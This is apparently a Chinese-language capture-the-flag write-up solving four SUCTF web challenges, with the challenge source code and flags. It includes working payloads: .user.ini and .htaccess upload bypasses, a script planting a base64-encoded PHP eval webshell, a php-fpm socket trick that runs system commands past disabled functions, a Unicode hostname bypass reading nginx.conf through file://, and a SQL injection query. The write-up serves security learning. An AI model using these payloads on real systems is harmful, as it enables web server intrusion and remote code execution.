0x00前言
周末打一打suctf,写一写一些比赛的题目吧
0x01CheckIn
该页面为一个文件上传页面,上传内容含有<?的文件,上传成功后会显示当前路径下的所有文件
因此搜索一下,发现.user.ini
这个文件,官网解释说该文件为支持基于每个目录的.htaccess风格的INI文件,其文件内容只有PHP_INI_PERDIR
和 PHP_INI_USER
模式的 INI 设置可被识别,PHP会在每个目录下扫描INI文件,同时找到两个指令auto_prepend_file
和auto_append_file
,可以通过这两个选项来设置页眉和脚注,其效果像include一样,那么解决方法就是使用.user.ini设置.user.ini文件指定图片被包含到index.php文件中,其图片内容因不能含有<?符号,因此我们能用<script language="php">标签来执行php命令上传.ini.user
上传php脚本
SUCTF{U5er_1n1_01d_TR1ck}
0x02 EasyPHP
题目给出了源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
具体可以参考文章https://xz.aliyun.com/t/3937,在上传文件之前需要通过eval函数来引用get_the_flag
函数从而进行文件上传。同时正则将数字和字母以及一些常用的符号全部过滤掉了,因此使用VK师傅的脚本构造调用get_the_flag函数
http://47.111.59.243:9001/?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=phpinfo
因此可以直接调用函数get_the_flag,上传的地点首先文件需要通过exif_imagetype
检查,但是此文件只检查头,并且文件内容不能包含<?符号,访问.htaccess显示403,表示存在该文件,因此我们可以构造一个带有exif_imagetype()
支持的magic number,再加上AddType application/x-httpd-php .cc
,参考文章之后机上对应的头信息从而对非php文件进行执行,但是同时过滤函数对<?
符号进行了过滤,因此不能使用正常的php格式,因此可以使用php://filter
协议进行包含,这样可以绕过对头字符进行过滤的函数。借用一下wuwu师傅的脚本进行上传
import requests
import base64
url = "http://47.111.59.243:9001/?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=get_the_flag"
header = {"Cookie":"PHPSESSID=3hia3hm22jd727s9um9us6ggv5"}
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_11ba74ad2123a871ed3c75a932ae3410/cch.cc"
"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['christa']);?>")
files = [('file',('.htaccess',htaccess,'application/octet-stream'))]
data = {"upload":"Submit"}
print("upload .htaccess")
r = requests.post(url=url, data=data, files=files,headers=header)
print(r.text)
print("upload cch.cc")
files = [('file',('cch.cc',shell,'application/octet-stream'))]
r = requests.post(url=url, data=data, files=files,headers=header)
print(r.text)
使用蚁剑连接
连进去之后在根目录下创建webshell以便后期操作也防止被清除,发现权限不够,访问一下phpinfo
发现mail函数也被ban了,同时还行发现一个fake的flag
hhhh
This is a fake flag
But I heard php7.2-fpm has been initialized in socket mode!
~
故考虑使用php-fpm进行提权,使用一蚁剑中的绕过disable_fcuntion插件进行进程污染
同时使用插件进行脚本执行
$host = '127.0.0.1';
$port = 64984;
$errno = '';
$errstr = '';
$timeout = 30;
$url = '/ch.php';
$param = array(
'ch' => "system('ls -al /');",
);
$data = http_build_query($param);
// create connect
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
// send request
$out = "POST ${url} HTTP/1.1\r\n";
$out .= "Host:${host}\r\n";
$out .= "Content-type:application/x-www-form-urlencoded\r\n";
$out .= "Content-length:".strlen($data)."\r\n";
$out .= "Connection:close\r\n\r\n";
$out .= "${data}";
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;
获取flag
suctf{Undefined_constant_With_XOR_Code_Execution}
0x03 Pythonnginx
题目给出了源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
正巧这几天看到了P神在小密圈发出来的Black Hat的议题,https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf,提到了python urllib模块的编码问题
同时也给出了几个比较典型的编码
U+2100, ℀ U+FE16, ︖
U+2101, ℁ U+FE56, ﹖
U+2105, ℅ U+FF1F, ?
U+2106, ℆ U+FE5F, ﹟
U+FF0F, / U+FF03, #
因此将该编码带进去继续尝试,成功绕过
因此使用file协议在urllib内进行读取,但是由于使用了c/u,尾部有u字符,但同时又在首页中看到提示,Do you know nginx,因此构造url
http://47.111.59.243:9000/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
成功getflag
大哥又跟我说无穷大符号㏄
也行,tql,这个file协议咋就每次都忘记呢。。。
0x04 easy_sql
题目过滤了许多
like,where,from都被过滤,连flag也全部过滤,但是能使用堆叠语句
测试之后,推测其查询语句为
SELECT $_GET['query'].id from Flag where xx=1;
因此构造一下query=*,1查询成功
SUCTF{SUCTF_baby_sql_chall_120993n810h3}